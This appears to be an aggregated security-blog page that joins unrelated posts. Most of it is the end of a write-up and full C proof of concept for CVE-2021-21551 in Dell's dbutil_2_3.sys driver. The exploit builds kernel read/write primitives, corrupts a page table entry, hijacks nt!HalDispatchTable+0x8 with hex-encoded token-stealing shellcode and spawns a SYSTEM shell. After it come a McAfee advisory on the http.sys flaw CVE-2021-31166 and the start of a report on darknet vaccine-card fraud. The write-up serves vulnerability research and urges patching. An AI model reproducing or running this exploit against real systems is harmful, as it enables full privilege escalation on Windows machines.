However, since there is another IOCTL routine that invokes this memmove routine, this is a prime candidate to see if anything about this routine is different (e.g. why create another routine to do the same thing twice? Perhaps this routine is used for something else, like reading memory or copying memory in a different way). Additionally, recall when we performed an arbitrary write, the routines were indexing our buffer at 0x8 and 0x18. This could mean that the call to memmove, via the new IOCTL, could setup our buffer in a way that the buffer is indexed at a different offset, meaning we may be able to achieve an arbitrary read.

It is possible to reach this routine through the IOCTL 0x9B0C1EC4.

Let’s update our POC to attempt to trigger the new IOCTL and see if anything is returned in the output buffer. Essentially, we will set the second value, similar to last time, of our QWORD array to the value we want to interact with, in this case, read, and set everything else to 0. Then, we will reuse the same array of QWORDS as an output buffer and see if anything was written to the buffer.

We can use IDA to identify the proper offset within the driver that the cmp eax, 0x9B0C1EC4 lands on, which is sub_11170+75.

We know that the first IOCTL code we will hit is the arbitrary write IOCTL, so we can pass over the first compare and then hit the second.

We then can see execution reaches the function housing the memmove routine, sub_15294.

After stepping through a few instruction, we can see our input buffer for the read primitive is being propagated and setup for the future call to memmove.

Then, the first part of the buffer is moved into RAX.

Then, the target address we would like to dereference and read from is loaded into RAX.

Then, the target address of KUSER_SHARED_DATA is loaded into RCX and then, as we can see, it will be loaded into RDX. This is great for us, as it means the 2nd argument for a function call on 64-bit systems on Windows is loaded into RDX. Since memmove accepts a pointer to a memory address, this means that this address will be the address that is dereferenced and then has its memory copied into a target buffer (which hopefully is returned in the output buffer parameter of DeviceIoControl).

Recall in our arbitrary write routine that the second parameter, 4343434343434343 was pointed to by a kernel mode address. Look at the above image and see now that we control the address (0xFFFFF78000000000), but this time this address will be dereferenced and whatever this address points to will be written to the buffer pointed to by RCX. Since in our last routine we controlled both arguments to memmove, we can expect that, although the value in RCX is in kernel mode, it will be bubbled back up into user mode and will be placed in our output buffer! We can see just before the return from memmove, the return value is the buffer in which the data was copied into, and we can see the buffer contains 0x0fa0000000000000! Looking in the debugger, this is the value KUSER_SHARED_DATA points to.

We really don’t need to do any more debugging/reverse engineering as we know that we completely control these arguments, based on our write primitive. Pressing g in the debugger, we can see that in our POC console, we have successfully performed an arbitrary read!

We indexed each array element of the QWORD array we sent, per our code, and we can see the last element will contain the dereferenced contents of the value we would like to read from! Now that we have a vanilla 1 QWORD arbitrary read/write primitive, we can now get into out exploitation path.

Why Perform a Data-Only Attack When You Can Corrupt All Of The Memory and Deal With All of the Mitigations? Let’s Have Some Fun And Make Life Artificially Harder On Ourselves!

First, please note I have more in-depth posts on leveraging page table entries and memory paging for kernel exploitation found here and here.

Our goal with this exploitation path will be the following:

  1. Write our shellcode somewhere that is writable in the driver’s virtual address space
  2. Locate the base of the page table entries
  3. Calculate where the page table entry for the memory page where our shellcode lives
  4. Corrupt the page table entry to make the shellcode page RWX, circumventing SMEP and bypassing kernel no-eXecute (DEP)
  5. Overwrite nt!HalDispatchTable+0x8 and circumvent kCFG (kernel Control-Flow Guard) (Note that if kCFG was fully enabled, then VBS/HVCI would then be enabled - rendering this technique useless. kCFG does still have some functionality, even when VBS/HVCI is disabled, like performing bitwise tests to ensure user mode addresses aren’t called from kernel mode. This simply just “circumvents” kCFG by calling a pointer to our shellcode, which exists in kernel mode from the first step).

First we need to find a place in kernel mode that we can write our shellcode to. KUSER_SHARED_DATA is a perfectly fine solution, but there is also a good candidate within the driver itself, located in its .data section, which is already writable.

We can see that from the above image, we have a ton of room to work with, in terms of kernel mode writable memory. Our shellcode is approximately 9 QWORDS, so we will have more than enough room to place our shellcode here.

We will start our shellcode out at .data+0x10. Since we know where the shellcode will go, and since we know it resides in the dbutil_2_3.sys driver, we need to add a routine to our exploit that can retrieve the load address of the kernel, for PTE indexing calculations, and the base address of the driver.

Note that this assumes the process invoking this exploit is that of medium integrity.

The next step, since we know where we want to write to is at an offset of 0x3000 (offset to .data.) + 0x10 (offset to code cave) from the base address of dbutil_2_3.sys, is to locate the page table entry for this memory address, which already is a kernel-mode page and is writable (you could use KUSER_SHARED_DATA+0x800). In order to perform the calculations to locate the page table entry, we first need to bypass page table randomization, a mitigation of Windows 10 after 1607.

This is because we need the base of the page table entries in order to locate the PTE for a specific page in memory (the page table entries are an array of virtual addresses in this case). The Windows API function nt!MiGetPteAddress, at an offset of 0x13, contains, dynamically, the base of the page table entries as this kernel mode function is leveraged to find the base of the page table entries.

Let’s use our read primitive to locate the base of the page table entries (note that I used a static offset from the base of the kernel to nt!MiGetPteAddress, mostly because I am focused on the exploitation phase of this CVE, and not making this exploit portable. You’ll need to update this based on your patch level).

Here we can see we obtain the initial handle to the driver, create a buffer based on our read primitive, send it to the driver, and obtain the base of the page table entries. Then, we programmatically can replicate what nt!MiGetPteAddress does in order to fetch the correct page table entry in the array for the page we will be writing our shellcode to.

Now that we have calculated the page table entry for where our shellcode will be written to, let’s now dereference it in order to preserve what the PTE bits contain, in terms of permissions, so we can modify this value later

Checking in WinDbg, we can also see this is the case!

Now that we have the virtual address for our page table entry and we have extracted the current bits that comprise the entry, let’s write our shellcode to .data+0x10 (dbutil_2_3+0x3010).

After execution of the updated POC, we can clearly see that the arbitrary write routines worked, and our shellcode is located in kernel mode!

Perfect! Now that we have our shellcode in kernel mode, we need to make it executable. After all, the .data section of a PE or driver is read/write. We need to make this an executable region of memory. Since we have the PTE bits already stored, we can update our page table entry bits, stored in our exploit, to contain the bits with the no-eXecute bit cleared, and leverage our arbitrary write primitive to corrupt the page table entry and make it read/write/execute (RWX)!

Perfect! Now that we have made our memory region executable, we need to overwrite the pointer to nt!HalDispatchTable+0x8 with this memory address. Then, when we invoke ntdll!NtQueryIntervalProfile from user mode, which will trigger a call to this QWORD! However, before overwriting nt!HalDispatchTable+0x8, let’s first use our read primitive to preserve the current pointer, so we can put it back after executing our shellcode to ensure system stability, as the Hardware Abstraction Layer is very important on Windows and the dispatch table is referenced regularly.

After preserving the pointer located at nt!HalDispatchTable+0x8 we can use our write primitive to overwrite nt!HalDispatchTable+0x8 with a pointer to our shellcode, which resides in kernel mode memory!

Perfect! At this point, if we invoke nt!HalDispatchTable+0x8’s pointer, we will be calling our shellcode! The last step here, besides restoring everything, is to resolve ntdll!NtQueryIntervalProfile, which eventually performs a call to [nt!HalDispatchTable+0x8].

Then, we can finish up our exploit by adding in the restoration routine to restore nt!HalDispatchTable+0x8.

Let’s set a breakpoint on nt!NtQueryIntervalProfile, which will be called, even though the call originates from ntdll.dll.

After hitting the breakpoint, let’s continue to step through the function until we hit the call nt!KeQueryIntervalProfile function call, and let’s use t to step into it.

Stepping through approximately 9 instructions inside of ntKeQueryIntervalProfile, we can see that we are not directly calling [nt!HalDispatchTable+0x8], but we are calling nt!guard_dispatch_icall. This is part of kCFG, or kernel Control-Flow Guard, which validates indirect function calls (e.g. calling a function pointer).

Clearly, as we can see, the value of [nt!HalDispatchTable+0x8] is pointing to our shellcode, meaning that kCFG should block this. However, kCFG actually requires Virtualization-Based Security (VBS) to be fully implemented. We can see though that kCFG has some functionality in kernel mode, even if it isn’t implemented full scale. The routines still exist in the kernel, which would normally check a bitmap of all indirect function calls and determine if the value that is about to be placed into RAX in the above image is a “valid target”, meaning at compile time, when the bitmap was created, did the address exist and is it apart of any valid control-flow transfer.

However, since VBS is not mainstream yet, requires specific hardware, and because this exploit is being developed in a virtual machine, we can disregard the VBS side for now (note that this is why mitigations like VBS/HVCI/HyperGuard/etc. are important, as they do a great job of thwarting these types of memory corruption vulnerabilities).

Stepping through the call to nt!guard_dispatch_icall, we can actually see that all this routine does essentially, since VBS isn’t enabled, is bitwise test the target address in RAX to confirm it isn’t a user-mode address (basically it checks to see if it is sign-extended). If it is a user-mode address, you’ll actually get a bug check and BSOD. This is why I opted to keep our shellcode in kernel mode, so we can pass this bitwise test!

Then, after stepping through everything, we can see now that control-flow transfer has been handed off to our shellcode.

From here, we can see we have successfully obtained NT AUTHORITY\SYSTEM privileges!

“When Napoleon lay at Boulogne for a year with his flat-bottom boats and his Grand Army, he was told by someone ‘There are bitter weeds in VBS/HVCI/kCFG’”

Although this exploit was arduous to create, we can clearly see why data-only attacks, such as the _SEP_TOKEN_PRIVILEGES method outlined by Kasif are optimal. They bypass pretty much any memory corruption related mitigation.

Note that VBS/HVCI actually creates an additional security boundary for us. Page table entries, when VBS is enabled, are actually managed by a higher security boundary, virtual trust level 1 - which is the secure kernel. This means it is not possible to perform PTE manipulation as we did. Additionally, even if this were possible, HVCI is essentially Arbitrary Code Guard (ACG) in the kernel - meaning that it also isn’t possible to manipulate the permissions of memory as we did. These two mitigations would also allow kCFG to be fully implemented, meaning our control-flow transfer would have also failed.

The advisory and patch for this vulnerability can be found here! Please patch your systems or simply remove the driver.

Thank you again to Kasif for this original research! This was certainly a fun exercise :-). Until next time - peace, love, and positivity :-).

Here is the final POC, which can be found on my GitHub:

// CVE-2021-21551: Dell 'dbutil_2_3.sys' Memory Corruption
// Original research: https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/
// Author: Connor McGarr (@33y0re)

#include <stdio.h>
#include <Windows.h>
#include <Psapi.h>

// Vulnerable IOCTL
#define IOCTL_WRITE_CODE 0x9B0C1EC8
#define IOCTL_READ_CODE 0x9B0C1EC4

// Prepping call to nt!NtQueryIntervalProfile
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval);

// Obtain the kernel base and driver base
unsigned long long kernelBase(char name[])
{
  // Defining EnumDeviceDrivers() and GetDeviceDriverBaseNameA() parameters
  LPVOID lpImageBase[1024];
  DWORD lpcbNeeded;
  int drivers;
  char lpFileName[1024];
  unsigned long long imageBase;

  BOOL baseofDrivers = EnumDeviceDrivers(
    lpImageBase,
    sizeof(lpImageBase),
    &lpcbNeeded
  );

  // Error handling
  if (!baseofDrivers)
  {
    printf("[-] Error! Unable to invoke EnumDeviceDrivers(). Error: %d\n", GetLastError());
    exit(1);
  }

  // Defining number of drivers for GetDeviceDriverBaseNameA()
  drivers = lpcbNeeded / sizeof(lpImageBase[0]);

  // Parsing loaded drivers
  for (int i = 0; i < drivers; i++)
  {
    GetDeviceDriverBaseNameA(
      lpImageBase[i],
      lpFileName,
      sizeof(lpFileName) / sizeof(char)
    );

    // Keep looping, until found, to find user supplied driver base address
    if (!strcmp(name, lpFileName))
    {
      imageBase = (unsigned long long)lpImageBase[i];

      // Exit loop
      break;
    }
  }

  return imageBase;
}


void exploitWork(void)
{
  // Store the base of the kernel
  unsigned long long baseofKernel = kernelBase("ntoskrnl.exe");

  // Storing the base of the driver
  unsigned long long driverBase = kernelBase("dbutil_2_3.sys");

  // Print updates
  printf("[+] Base address of ntoskrnl.exe: 0x%llx\n", baseofKernel);
  printf("[+] Base address of dbutil_2_3.sys: 0x%llx\n", driverBase);

  // Store nt!MiGetPteAddress+0x13
  unsigned long long ntmigetpteAddress = baseofKernel + 0xbafbb;

  // Obtain a handle to the driver
  HANDLE driverHandle = CreateFileA(
    "\\\\.\\DBUtil_2_3",
    FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
    0x0,
    NULL,
    OPEN_EXISTING,
    0x0,
    NULL
  );

  // Error handling
  if (driverHandle == INVALID_HANDLE_VALUE)
  {
    printf("[-] Error! Unable to obtain a handle to the driver. Error: 0x%lx\n", GetLastError());
    exit(-1);
  }
  else
  {
    printf("[+] Successfully obtained a handle to the driver. Handle value: 0x%llx\n", (unsigned long long)driverHandle);

    // Buffer to send to the driver (read primitive)
    unsigned long long inBuf1[4];

    // Values to send
    unsigned long long one1 = 0x4141414141414141;
    unsigned long long two1 = ntmigetpteAddress;
    unsigned long long three1 = 0x0000000000000000;
    unsigned long long four1 = 0x0000000000000000;

    // Assign the values
    inBuf1[0] = one1;
    inBuf1[1] = two1;
    inBuf1[2] = three1;
    inBuf1[3] = four1;

    // Interact with the driver
    DWORD bytesReturned1 = 0;

    BOOL interact = DeviceIoControl(
      driverHandle,
      IOCTL_READ_CODE,
      &inBuf1,
      sizeof(inBuf1),
      &inBuf1,
      sizeof(inBuf1),
      &bytesReturned1,
      NULL
    );

    // Error handling
    if (!interact)
    {
      printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError());
      exit(-1);
    }
    else
    {
      // Last member of read array should contain base of the PTEs
      unsigned long long pteBase = inBuf1[3];

      printf("[+] Base of the PTEs: 0x%llx\n", pteBase);

      // .data section of dbutil_2_3.sys contains a code cave
      unsigned long long shellcodeLocation = driverBase + 0x3010;

      // Bitwise operations to locate PTE of shellcode page
      unsigned long long shellcodePte = (unsigned long long)shellcodeLocation >> 9;
      shellcodePte = shellcodePte & 0x7FFFFFFFF8;
      shellcodePte = shellcodePte + pteBase;

      // Print update
      printf("[+] PTE of the .data page the shellcode is located at in dbutil_2_3.sys: 0x%llx\n", shellcodePte);

      // Buffer to send to the driver (read primitive)
      unsigned long long inBuf2[4];

      // Values to send
      unsigned long long one2 = 0x4141414141414141;
      unsigned long long two2 = shellcodePte;
      unsigned long long three2 = 0x0000000000000000;
      unsigned long long four2 = 0x0000000000000000;

      inBuf2[0] = one2;
      inBuf2[1] = two2;
      inBuf2[2] = three2;
      inBuf2[3] = four2;

      // Parameter for DeviceIoControl
      DWORD bytesReturned2 = 0;

      BOOL interact1 = DeviceIoControl(
        driverHandle,
        IOCTL_READ_CODE,
        &inBuf2,
        sizeof(inBuf2),
        &inBuf2,
        sizeof(inBuf2),
        &bytesReturned2,
        NULL
      );

      // Error handling
      if (!interact1)
      {
        printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError());
        exit(-1);
      }
      else
      {
        // Last member of read array should contain PTE bits
        unsigned long long pteBits = inBuf2[3];

        printf("[+] PTE bits for the shellcode page: %p\n", pteBits);

        /*
          ; Windows 10 1903 x64 Token Stealing Payload
          ; Author Connor McGarr

          [BITS 64]

          _start:
            mov rax, [gs:0x188]     ; Current thread (_KTHREAD)
            mov rax, [rax + 0xb8]   ; Current process (_EPROCESS)
            mov rbx, rax        ; Copy current process (_EPROCESS) to rbx
          __loop:
            mov rbx, [rbx + 0x2f0]    ; ActiveProcessLinks
            sub rbx, 0x2f0          ; Go back to current process (_EPROCESS)
            mov rcx, [rbx + 0x2e8]    ; UniqueProcessId (PID)
            cmp rcx, 4          ; Compare PID to SYSTEM PID
            jnz __loop            ; Loop until SYSTEM PID is found

            mov rcx, [rbx + 0x360]    ; SYSTEM token is @ offset _EPROCESS + 0x360
            and cl, 0xf0        ; Clear out _EX_FAST_REF RefCnt
            mov [rax + 0x360], rcx    ; Copy SYSTEM token to current process

            xor rax, rax        ; set NTSTATUS STATUS_SUCCESS
            ret             ; Done!

        */

        // One QWORD arbitrary write
        // Shellcode is 67 bytes (67/8 = 9 unsigned long longs)
        unsigned long long shellcode1 = 0x00018825048B4865;
        unsigned long long shellcode2 = 0x000000B8808B4800;
        unsigned long long shellcode3 = 0x02F09B8B48C38948;
        unsigned long long shellcode4 = 0x0002F0EB81480000;
        unsigned long long shellcode5 = 0x000002E88B8B4800;
        unsigned long long shellcode6 = 0x8B48E57504F98348;
        unsigned long long shellcode7 = 0xF0E180000003608B;
        unsigned long long shellcode8 = 0x4800000360888948;
        unsigned long long shellcode9 = 0x0000000000C3C031;

        // Buffers to send to the driver (write primitive)
        unsigned long long inBuf3[4];
        unsigned long long inBuf4[4];
        unsigned long long inBuf5[4];
        unsigned long long inBuf6[4];
        unsigned long long inBuf7[4];
        unsigned long long inBuf8[4];
        unsigned long long inBuf9[4];
        unsigned long long inBuf10[4];
        unsigned long long inBuf11[4];

        // Values to send
        unsigned long long one3 = 0x4141414141414141;
        unsigned long long two3 = shellcodeLocation;
        unsigned long long three3 = 0x0000000000000000;
        unsigned long long four3 = shellcode1;

        unsigned long long one4 = 0x4141414141414141;
        unsigned long long two4 = shellcodeLocation + 0x8;
        unsigned long long three4 = 0x0000000000000000;
        unsigned long long four4 = shellcode2;

        unsigned long long one5 = 0x4141414141414141;
        unsigned long long two5 = shellcodeLocation + 0x10;
        unsigned long long three5 = 0x0000000000000000;
        unsigned long long four5 = shellcode3;

        unsigned long long one6 = 0x4141414141414141;
        unsigned long long two6 = shellcodeLocation + 0x18;
        unsigned long long three6 = 0x0000000000000000;
        unsigned long long four6 = shellcode4;

        unsigned long long one7 = 0x4141414141414141;
        unsigned long long two7 = shellcodeLocation + 0x20;
        unsigned long long three7 = 0x0000000000000000;
        unsigned long long four7 = shellcode5;

        unsigned long long one8 = 0x4141414141414141;
        unsigned long long two8 = shellcodeLocation + 0x28;
        unsigned long long three8 = 0x0000000000000000;
        unsigned long long four8 = shellcode6;

        unsigned long long one9 = 0x4141414141414141;
        unsigned long long two9 = shellcodeLocation + 0x30;
        unsigned long long three9 = 0x0000000000000000;
        unsigned long long four9 = shellcode7;

        unsigned long long one10 = 0x4141414141414141;
        unsigned long long two10 = shellcodeLocation + 0x38;
        unsigned long long three10 = 0x0000000000000000;
        unsigned long long four10 = shellcode8;

        unsigned long long one11 = 0x4141414141414141;
        unsigned long long two11 = shellcodeLocation + 0x40;
        unsigned long long three11 = 0x0000000000000000;
        unsigned long long four11 = shellcode9;

        inBuf3[0] = one3;
        inBuf3[1] = two3;
        inBuf3[2] = three3;
        inBuf3[3] = four3;

        inBuf4[0] = one4;
        inBuf4[1] = two4;
        inBuf4[2] = three4;
        inBuf4[3] = four4;

        inBuf5[0] = one5;
        inBuf5[1] = two5;
        inBuf5[2] = three5;
        inBuf5[3] = four5;

        inBuf6[0] = one6;
        inBuf6[1] = two6;
        inBuf6[2] = three6;
        inBuf6[3] = four6;

        inBuf7[0] = one7;
        inBuf7[1] = two7;
        inBuf7[2] = three7;
        inBuf7[3] = four7;

        inBuf8[0] = one8;
        inBuf8[1] = two8;
        inBuf8[2] = three8;
        inBuf8[3] = four8;

        inBuf9[0] = one9;
        inBuf9[1] = two9;
        inBuf9[2] = three9;
        inBuf9[3] = four9;

        inBuf10[0] = one10;
        inBuf10[1] = two10;
        inBuf10[2] = three10;
        inBuf10[3] = four10;

        inBuf11[0] = one11;
        inBuf11[1] = two11;
        inBuf11[2] = three11;
        inBuf11[3] = four11;

        DWORD bytesReturned3 = 0;
        DWORD bytesReturned4 = 0;
        DWORD bytesReturned5 = 0;
        DWORD bytesReturned6 = 0;
        DWORD bytesReturned7 = 0;
        DWORD bytesReturned8 = 0;
        DWORD bytesReturned9 = 0;
        DWORD bytesReturned10 = 0;
        DWORD bytesReturned11 = 0;

        BOOL interact2 = DeviceIoControl(
          driverHandle,
          IOCTL_WRITE_CODE,
          &inBuf3,
          sizeof(inBuf3),
          &inBuf3,
          sizeof(inBuf3),
          &bytesReturned3,
          NULL
        );

        BOOL interact3 = DeviceIoControl(
          driverHandle,
          IOCTL_WRITE_CODE,
          &inBuf4,
          sizeof(inBuf4),
          &inBuf4,
          sizeof(inBuf4),
          &bytesReturned4,
          NULL
        );

        BOOL interact4 = DeviceIoControl(
          driverHandle,
          IOCTL_WRITE_CODE,
          &inBuf5,
          sizeof(inBuf5),
          &inBuf5,
          sizeof(inBuf5),
          &bytesReturned5,
          NULL
        );

        BOOL interact5 = DeviceIoControl(
          driverHandle,
          IOCTL_WRITE_CODE,
          &inBuf6,
          sizeof(inBuf6),
          &inBuf6,
          sizeof(inBuf6),
          &bytesReturned6,
          NULL
        );

        BOOL interact6 = DeviceIoControl(
          driverHandle,
          IOCTL_WRITE_CODE,
          &inBuf7,
          sizeof(inBuf7),
          &inBuf7,
          sizeof(inBuf7),
          &bytesReturned7,
          NULL
        );

        BOOL interact7 = DeviceIoControl(
          driverHandle,
          IOCTL_WRITE_CODE,
          &inBuf8,
          sizeof(inBuf8),
          &inBuf8,
          sizeof(inBuf8),
          &bytesReturned8,
          NULL
        );

        BOOL interact8 = DeviceIoControl(
          driverHandle,
          IOCTL_WRITE_CODE,
          &inBuf9,
          sizeof(inBuf9),
          &inBuf9,
          sizeof(inBuf9),
          &bytesReturned9,
          NULL
        );

        BOOL interact9 = DeviceIoControl(
          driverHandle,
          IOCTL_WRITE_CODE,
          &inBuf10,
          sizeof(inBuf10),
          &inBuf10,
          sizeof(inBuf10),
          &bytesReturned10,
          NULL
        );

        BOOL interact10 = DeviceIoControl(
          driverHandle,
          IOCTL_WRITE_CODE,
          &inBuf11,
          sizeof(inBuf11),
          &inBuf11,
          sizeof(inBuf11),
          &bytesReturned11,
          NULL
        );

        // A lot of error handling
        if (!interact2 || !interact3 || !interact4 || !interact5 || !interact6 || !interact7 || !interact8 || !interact9 || !interact10)
        {
          printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError());
          exit(-1);
        }
        else
        {
          printf("[+] Successfully wrote the shellcode to the .data section of dbutil_2_3.sys at address: 0x%llx\n", shellcodeLocation);

          // Clear the no-eXecute bit
          unsigned long long taintedPte = pteBits & 0x0FFFFFFFFFFFFFFF;

          printf("[+] Corrupted PTE bits for the shellcode page: %p\n", taintedPte);

          // Clear the no-eXecute bit in the actual PTE
          // Buffer to send to the driver (write primitive)
          unsigned long long inBuf13[4];

          // Values to send
          unsigned long long one13 = 0x4141414141414141;
          unsigned long long two13 = shellcodePte;
          unsigned long long three13 = 0x0000000000000000;
          unsigned long long four13 = taintedPte;

          // Assign the values
          inBuf13[0] = one13;
          inBuf13[1] = two13;
          inBuf13[2] = three13;
          inBuf13[3] = four13;


          // Interact with the driver
          DWORD bytesReturned13 = 0;

          BOOL interact12 = DeviceIoControl(
            driverHandle,
            IOCTL_WRITE_CODE,
            &inBuf13,
            sizeof(inBuf13),
            &inBuf13,
            sizeof(inBuf13),
            &bytesReturned13,
            NULL
          );

          // Error handling
          if (!interact12)
          {
            printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError());
          }
          else
          {
            printf("[+] Successfully corrupted the PTE of the shellcode page! The kernel mode page holding the shellcode should now be RWX!\n");

            // Offset to nt!HalDispatchTable+0x8
            unsigned long long halDispatch = baseofKernel + 0x427258;

            // Use arbitrary read primitive to preserve nt!HalDispatchTable+0x8
            // Buffer to send to the driver (write primitive)
            unsigned long long inBuf14[4];

            // Values to send
            unsigned long long one14 = 0x4141414141414141;
            unsigned long long two14 = halDispatch;
            unsigned long long three14 = 0x0000000000000000;
            unsigned long long four14 = 0x0000000000000000;

            // Assign the values
            inBuf14[0] = one14;
            inBuf14[1] = two14;
            inBuf14[2] = three14;
            inBuf14[3] = four14;

            // Interact with the driver
            DWORD bytesReturned14 = 0;

            BOOL interact13 = DeviceIoControl(
              driverHandle,
              IOCTL_READ_CODE,
              &inBuf14,
              sizeof(inBuf14),
              &inBuf14,
              sizeof(inBuf14),
              &bytesReturned14,
              NULL
            );

            // Error handling
            if (!interact13)
            {
              printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError());
            }
            else
            {
              // Last member of read array should contain preserved nt!HalDispatchTable+0x8 value
              unsigned long long preservedHal = inBuf14[3];

              printf("[+] Preserved nt!HalDispatchTable+0x8 value: 0x%llx\n", preservedHal);

              // Leveraging arbitrary write primitive to overwrite nt!HalDispatchTable+0x8
              // Buffer to send to the driver (write primitive)
              unsigned long long inBuf15[4];

              // Values to send
              unsigned long long one15 = 0x4141414141414141;
              unsigned long long two15 = halDispatch;
              unsigned long long three15 = 0x0000000000000000;
              unsigned long long four15 = shellcodeLocation;

              // Assign the values
              inBuf15[0] = one15;
              inBuf15[1] = two15;
              inBuf15[2] = three15;
              inBuf15[3] = four15;

              // Interact with the driver
              DWORD bytesReturned15 = 0;

              BOOL interact14 = DeviceIoControl(
                driverHandle,
                IOCTL_WRITE_CODE,
                &inBuf15,
                sizeof(inBuf15),
                &inBuf15,
                sizeof(inBuf15),
                &bytesReturned15,
                NULL
              );

              // Error handling
              if (!interact14)
              {
                printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError());
              }
              else
              {
                printf("[+] Successfully overwrote the pointer at nt!HalDispatchTable+0x8!\n");

                // Locating nt!NtQueryIntervalProfile
                NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(
                  GetModuleHandle(
                    TEXT("ntdll.dll")),
                  "NtQueryIntervalProfile"
                );

                // Error handling
                if (!NtQueryIntervalProfile)
                {
                  printf("[-] Error! Unable to find ntdll!NtQueryIntervalProfile! Error: %d\n", GetLastError());
                  exit(1);
                }
                else
                {
                  // Print update for found ntdll!NtQueryIntervalProfile
                  printf("[+] Located ntdll!NtQueryIntervalProfile at: 0x%llx\n", NtQueryIntervalProfile);

                  // Calling nt!NtQueryIntervalProfile
                  ULONG exploit = 0;

                  NtQueryIntervalProfile(
                    0x1234,
                    &exploit
                  );

                  // Restoring nt!HalDispatchTable+0x8
                  // Buffer to send to the driver (write primitive)
                  unsigned long long inBuf16[4];

                  // Values to send
                  unsigned long long one16 = 0x4141414141414141;
                  unsigned long long two16 = halDispatch;
                  unsigned long long three16 = 0x0000000000000000;
                  unsigned long long four16 = preservedHal;

                  // Assign the values
                  inBuf16[0] = one16;
                  inBuf16[1] = two16;
                  inBuf16[2] = three16;
                  inBuf16[3] = four16;

                  // Interact with the driver
                  DWORD bytesReturned16 = 0;

                  BOOL interact15 = DeviceIoControl(
                    driverHandle,
                    IOCTL_WRITE_CODE,
                    &inBuf16,
                    sizeof(inBuf16),
                    &inBuf16,
                    sizeof(inBuf16),
                    &bytesReturned16,
                    NULL
                  );

                  // Error handling
                  if (!interact15)
                  {
                    printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError());
                  }
                  else
                  {
                    printf("[+] Successfully restored the pointer at nt!HalDispatchTable+0x8!\n");
                    printf("[+] Enjoy the NT AUTHORITY\\SYSTEM shell!\n");

                    // Spawning an NT AUTHORITY\SYSTEM shell
                    system("cmd.exe /c cmd.exe /K cd C:\\");
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

// Call exploitWork()
void main(void)
{
  exploitWork();
}

Major HTTP Vulnerability in Windows Could Lead to Wormable Exploit

12 May 2021 at 15:48
AI Cyber Security

Today, Microsoft released a highly critical vulnerability (CVE-2021-31166) in its web server http.sys. This product is a Windows-only HTTP server which can be run standalone or in conjunction with IIS (Internet Information Services) and is used to broker internet traffic via HTTP network requests. The vulnerability is very similar to CVE-2015-1635, another Microsoft vulnerability in the HTTP network stack reported in 2015.

With a CVSS score of 9.8, the vulnerability announced has the potential to be both directly impactful and is also exceptionally simple to exploit, leading to a remote and unauthenticated denial-of-service (Blue Screen of Death) for affected products.

The issue is due to Windows improperly tracking pointers while processing objects in network packets containing HTTP requests. As HTTP.SYS is implemented as a kernel driver, exploitation of this bug will result in at least a Blue Screen of Death (BSoD), and in the worst-case scenario, remote code execution, which could be wormable. While this vulnerability is exceptional in terms of potential impact and ease of exploitation, it remains to be seen whether effective code execution will be achieved. Furthermore, this vulnerability only affects the latest versions of Windows 10 and Windows Server (2004 and 20H2), meaning that the exposure for internet-facing enterprise servers is fairly limited, as many of these systems run Long Term Servicing Channel (LTSC) versions, such as Windows Server 2016 and 2019, which are not susceptible to this flaw.

At the time of this writing, we are unaware of any “in-the-wild” exploitation for CVE-2021-31166 but will continue to monitor the threat landscape and provide relevant updates. We urge Windows users to apply the patch immediately wherever possible, giving special attention to externally facing devices that could be compromised from the internet. For those who are unable to apply Microsoft’s update, we are providing a “virtual patch” in the form of a network IPS signature that can be used to detect and prevent exploitation attempts for this vulnerability.

McAfee Network Security Platform (NSP) Protection
Sigset Version: 10.8.21.2
Attack ID: 0x4528f000
Attack Name: HTTP: Microsoft HTTP Protocol Stack Remote Code Execution Vulnerability (CVE-2021-31166)

McAfee Knowledge Base Article KB94510:
https://kc.mcafee.com/corporate/index?page=content&id=KB94510

 

 

The post Major HTTP Vulnerability in Windows Could Lead to Wormable Exploit appeared first on McAfee Blog.

“Fool’s Gold”: Questionable Vaccines, Bogus Results, and Forged Cards

By: Anne An
11 May 2021 at 04:01

Preface

Countries all over the world are racing to achieve so-called herd immunity against COVID-19 by vaccinating their populations. From the initial lockdown to the cancellation of events and the prohibition of business travel, to the reopening of restaurants, and relaxation of COVID restrictions on outdoor gatherings, the vaccine rollout has played a critical role in staving off another wave of infections and restoring some degree of normalcy. However, a new and troubling phenomenon is that consumers are buying COVID-19 vaccines on the black market due to the increased demand around the world. As a result, illegal COVID-19 vaccines and vaccination records are in high demand on darknet marketplaces.

The impact on society is that the proliferation of fraudulent test results and counterfeit COVID-19 vaccine records pose a serious threat to public health and spur the underground economyIndividuals undoubtedly long to return to their pre-pandemic routines and the freedom of travel and behavior denied them over the last year. However, the purchase of false COVID-19 test certifications or vaccination cards to board aircraft, attend an event or enter a country endangers themselves, even if they are asymptomatic. It also threatens the lives of other people in their own communities and around the world. Aside from the collective damage to global health, darknet marketplace transactions encourage the supply of illicit goods and services. The underground economy cycle continues as demand creates inventory, which in turn creates supply. In addition to selling COVID-19 vaccines, vaccination cards, and fake test results, cybercriminals can also benefit by reselling the names, dates of birth, home addresses, contact details, and other personally indefinable information of their customers. 

Racing Toward a Fully Vaccinated Society Along with a Growing Underground Vaccine Market

As we commemorate the one-year anniversary of the COVID-19 pandemic, at least 184 countries and territories worldwide have started their vaccination rollouts.[1] The United States is vaccinating Americans at an unprecedented rate. As of May 2021, more than 105 million Americans had been fully vaccinated. The growing demand has made COVID-19 vaccines the new “liquid gold” in the pandemic era.

